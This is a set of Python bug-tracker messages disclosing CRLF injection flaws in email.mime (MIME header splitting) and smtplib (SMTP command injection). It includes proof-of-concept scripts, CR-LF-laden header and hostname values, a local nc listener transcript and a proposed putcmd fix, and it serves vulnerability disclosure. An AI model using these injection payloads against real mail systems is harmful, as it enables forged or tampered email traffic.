[issue43124] [security] smtplib multiple CRLF injection
Martin Ortner added the comment: > This bug report starts with "a malicious user with direct access to > `smtplib.SMTP(..., local_hostname, ..)", which is a senseless supposition. > Anyone with "access to" the SMTP object could just as well be talking > directly to the SMTP server and do anything they want that SMTP itself allows. Let's not argue about the phrasing and settle on the fact that I am not a native English speaker which might be the root cause of the confusion. The core of the issue is that this *unexpected side-effect* may be security-relevant. Fixing it probably takes less time than arguing about phrasing, severity, or spending time describing exploitation scenarios for a general-purpose library that should protect the underlying protocol from injections. Be kind, I come in peace. -- ___ Python tracker <https://bugs.python.org/issue43124> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue43123] email MIME splitting
New submission from Martin Ortner : // reported via PSRT email (see timeline) // external reference: https://consensys.net/diligence/vulnerabilities/private/jcchhpke7usq8wo45vloy282phwpd9fj41imumhb8varxahz2bf9afw5mcno84gx/ cve: vendor: python vendorUrl: https://www.python.org/ authors: tintinweb affectedVersions: [at least <= 3.8.3, <=3.7.7, <=2.7.18] vulnClass: CWE-93 # Vulnerability Note ## Summary >Python is a programming language that lets you work more quickly and integrate >your systems more effectively. The python `email.mime` package fails to properly encode or reject `CR-LF` control sequences in MIME header values allowing for MIME splitting and header injection attacks. * `MIMEText[headerKey] = headerValue` - `headerValue` accepts `CR-LF` in the value, allowing an attacker in control of part of the header value to perform a MIME splitting attack. * `MIMEText[headerKey] = headerValue` - `headerKey` is not checked for `CR-LF` allowing an attacker in control of part of a header key to inject arbitrary MIME headers. * `MIMEText.add_header(headerKey, headerValue)` - `headerKey` is not checked for `CR-LF` allowing an attacker in control of part of a header key to inject arbitrary MIME headers. ## Details ### MIME-Splitting with `CR-LF` in header value: * Note: `CR-LF` injection in `To` header pushes an invalid header and may force a MIME split (depending on the parsing library) pushing following header values into the body when being parsed with the `email.message_from_string()` method. ```python # Import the email modules we'll need from email.mime.text import MIMEText # Open a plain text file for reading. For this example, assume that # the text file contains only ASCII characters. msg = MIMEText("REAL_MSG_BODY_BEGIN\n...\nREAL_MSG_BODY_END") msg['Subject'] = 'The contents of is this...' msg['To'] = "TO toaddr...@oststrom.com\r\nX-SPLIT-MSG-TO-BODY\r\n" msg['From'] = "FROM fromaddr...@oststrom.com" msg['MyHEader'] = "hi :: hi" print(msg) print(repr(msg)) print("=") import email msg = email.message_from_string(str(msg)) print(msg) print("-> FROM: %s" % msg.get("From")) print("-> TO: %s" % msg["To"]) print("-> MSG: " + repr(msg.get_payload())) ``` Output: * Output before the `===` is the constructed message * Output after the `===` is the parsed message * Note: that after parsing the message some headers end up in the body (`from`, `myheader`). Note that `msg[from]` is empty. ``` ⇒ python3 a.py Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Subject: The contents of is this... To: TO toaddr...@oststrom.com X-SPLIT-MSG-TO-BODY From: FROM fromaddr...@oststrom.com MyHEader: hi :: hi REAL_MSG_BODY_BEGIN ... REAL_MSG_BODY_END = Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Subject: The contents of is this... To: TO toaddr...@oststrom.com X-SPLIT-MSG-TO-BODY From: FROM fromaddr...@oststrom.com MyHEader: hi :: hi REAL_MSG_BODY_BEGIN ... REAL_MSG_BODY_END -> FROM: None -> TO: TO toaddr...@oststrom.com -> MSG: 'X-SPLIT-MSG-TO-BODY\nFrom: FROM fromaddr...@oststrom.com\nMyHEader: hi :: hi\n\nREAL_MSG_BODY_BEGIN\n...\nREAL_MSG_BODY_END' ``` ### `CR-LF` injection in header keys. Note: this is unlikely to be exploited, however, there might be scenarios where part of the header key is exposed to user input. A `CR-LF` character in the header key should throw instead. ```python # Import the email modules we'll need from email.mime.text import MIMEText # Open a plain text file for reading. For this example, assume that # the text file contains only ASCII characters. msg = MIMEText("REAL_MSG_BODY_BEGIN\n...\nREAL_MSG_BODY_END") # me == the sender's email address # you == the recipient's email address msg['Subject'] = 'The contents of is this...' msg['To'] = "TO toaddr...@oststrom.com" msg['From'] = "FROM fromaddr...@oststrom.com" msg['MyHEader'] = "hi :: hi" msg["m\r\nh"] = "yo" print(msg) print(repr(msg)) print("=") import email msg = email.message_from_string(str(msg)) msg.add_header("CUSTOM-HEADER: yo\r\n\nX-INJECTED: injected-header\r\naa","data") print(msg) print("-> FROM: %s" % msg.get("From")) print("-> TO: %s" % msg["To"]) print("-> MSG: " + repr(msg.get_payload())) ``` Output: `h: yo` and `X-INJECTED:` are injected ``` ⇒ python3 a.py Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Tra
[issue43124] smtplib multiple CRLF injection
New submission from Martin Ortner : // reported via PSRT email (see timeline; last contact: Alex/PSRT) // external reference: http://consensys.net/diligence/vulnerabilities/private/z5kxjgfmja4offxbrw1miuxwezggajjfswlz9g2hfuh77we5dy727hqy5x9ii43e/ cve: vendor: python vendorUrl: https://www.python.org/ authors: tintinweb affectedVersions: [at least 3.8.3, <=3.7.8, <=3.6.11, <=3.5.9, <=2.7.18] vulnClass: CWE-93 # Vulnerability Note ## Summary >Python is a programming language that lets you work more quickly and integrate >your systems more effectively. Two CR-LF injection points have been discovered in the Python standard library for `SMTP` interaction (client perspective) named `smtplib` that may allow a malicious user with direct access to `smtplib.SMTP(..., local_hostname, ..)` or `smtplib.SMTP(...).mail(..., options)` to inject a CR-LF control sequence to inject arbitrary `SMTP` commands into the protocol stream. The root cause of this is likely to be found in the design of the `putcmd(cmd, args)` method, that fails to validate that `cmd` nor `args` contains any protocol control sequences (i.e. `CR-LF`). It is recommended to reject or encode `\r\n` in `putcmd()` and enforce that potential multi-line commands call `putcmd()` multiple times to avoid that malicious input breaks the expected context of the method and hence cause unexpected behavior. For reference, the `DATA` command (multi-line) would not be affected by this change as it calls `putcmd()` only once and continues with directly interacting with the socket to submit the body. ## Details ### Description The root cause of this (and probably also some earlier reported CR-LF injections) is the method `putcmd()` in `lib/smtplib.py`[3]. The method is called by multiple commands and does not validate that neither `cmd` nor `args` contains any `CRLF` sequences. ```python def putcmd(self, cmd, args=""): """Send a command to the server.""" if args == "": str = '%s%s' % (cmd, CRLF) else: str = '%s %s%s' % (cmd, args, CRLF) self.send(str) ``` However, the issue was initially found in `mail(..., options)` [4] which fails to ensure that none of the provided `options` contains `CRLF` characters. The method only ensures that provides mail addresses are quoted, `optionslist` is untouched: ```python self.putcmd("mail", "FROM:%s%s" % (quoteaddr(sender), optionlist)) ``` A similar issue was found with `smtplib.SMTP(...,local_hostname)` (and `helo(name)`, `ehlo(name)`) which may potentially contain `CRLF` sequences and, therefore, can be used to inject `SMTP` commands. Here's a snipped of `helo` [5] ```python def helo(self, name=''): """SMTP 'helo' command. Hostname to send for this command defaults to the FQDN of the local host. """ self.putcmd("helo", name or self.local_hostname) (code, msg) = self.getreply() self.helo_resp = msg return (code, msg) ``` We highly recommend, fixing this issue once and for all directly in `putcmd()` and enforce that the interface can only send one command at a time, rejecting arguments that contain `CRLF` sequences or properly encoding them to avoid injection. ## Proof of Concept 1. set-up a local tcp listener `⇒ nc -l 10001` 2. run the following PoC and replay the server part as outline in 3. ```python import smtplib server = smtplib.SMTP('localhost', 10001, "hi\nX-INJECTED") # localhostname CRLF injection server.set_debuglevel(1) server.sendmail("h...@me.com", "y...@me.com", "wazzuuup\nlinetwo") server.mail("h...@me.com",["X-OPTION\nX-INJECTED-1","X-OPTION2\nX-INJECTED-2"]) # options CRLF injection ``` 3. interact with `smtplib`, check for `X-INJECTED` ``` ⇒ nc -l 10001 nc -l 10001 220 yo ehlo hi X-INJECTED 250-AUTH PLAIN 250 mail FROM: 250 ok rcpt TO: 250 ok data 354 End data with . wazzuuup linetwo . 250 ok mail FROM: X-OPTION X-INJECTED-1 X-OPTION2 X-INJECTED-2 250 ok quit 250 ok ``` ### Proposed Fix * enforce that `putcmd` emits exactly one command at a time and encode `\n -> \\n`. ```diff diff --git a/Lib/smtplib.py b/Lib/smtplib.py index e2dbbbc..9c16e7d 100755 --- a/Lib/smtplib.py +++ b/Lib/smtplib.py @@ -365,10 +365,10 @@ class SMTP: def putcmd(self, cmd, args=""): """Send a command to the server.""" if args == "": -str = '%s%s' % (cmd, CRLF) +str = cmd else: -str = '%s %s%s' % (cmd, args, CRLF) -self.send(str) +str = '%s %s' % (cmd, args) +self.send('%s%s' % (str.replace('\n','\\n'), CRLF)) ``` ## V